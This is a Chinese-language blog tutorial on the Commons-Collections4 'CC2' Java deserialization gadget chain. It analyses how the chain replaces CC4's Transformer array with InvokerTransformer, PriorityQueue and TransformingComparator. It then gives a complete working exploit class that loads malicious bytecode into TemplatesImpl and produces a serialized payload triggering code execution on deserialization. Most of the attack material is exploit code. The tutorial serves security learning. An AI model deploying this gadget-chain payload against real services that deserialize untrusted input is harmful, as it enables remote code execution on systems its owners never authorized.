CC2链
Java 反序列化 Commons-Collections 篇 05 CC2 链
0x01 前言
过完前三条链子之后,看后续的链子简直不要太顺利 ~
0x02 环境
Maven 下载 Commons-Collections 依赖。
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
0x03 CC2 链分析
CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer
数组。
要用流程图来表示的话应当是如此。
在 CC4 链的基础上,抛弃了用 InstantiateTransformer
类将 TrAXFilter
初始化,以及 TemplatesImpl.newTransformer()
这个步骤
那么我们简单分析 CC2 链的前半部分,还是出现了 compare 这些,所以在 CC4 链中的 compare 部分是可用的。在 CC2 链最后部分是 TemplatesImpl 执行动态字节码,和 CC4 链最后的部分是相等的,我们可以直接搬进来。
- 难点在于用
InvokerTransformer
的连接。
0x04 CC2 链 EXP 编写
我们先把 CC4 链的 EXP 粘贴一下,并且使用 InvokerTransform
连接链子。
我们还是一步步来,首先是 TemplatesImpl
这里后面的链子
1 2 3 4 5 6 7 8 9 10 11
| TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes);
|
构造 InvokerTransformer 类去调用templates
对象的newTransformer
方法:
1
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
创建 TransformingComparator 类对象,传⼊一个临时的 Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行。
1
| TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
|
创建 PriorityQueue 类对象 传入 transformingComparator
对象,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl
对象了,这是因为最后调用 PriorityQueue.compare()
的时候是传入队列中的两个对象,然后 compare()
中调用 Transformer.transform(obj1)
的时候用的是传入的第一个对象作为参数,因此这里需要将 priorityQueue 队列中的第一个对象设置为构造好的 templates
对象,这里贪方便就两个都设置为 templates
对象了。
1 2 3
| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
|
1 2 3 4
| Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer);
|
最终完整的 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC2EXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
0x05 小结
这里小结就不用写太多了,前面流程图也画好了,一开始还是很不懂的,后面看懂了,爽的一笔。
CC2 链区别与其他链子一点的区别在于没有用 Transformer
数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。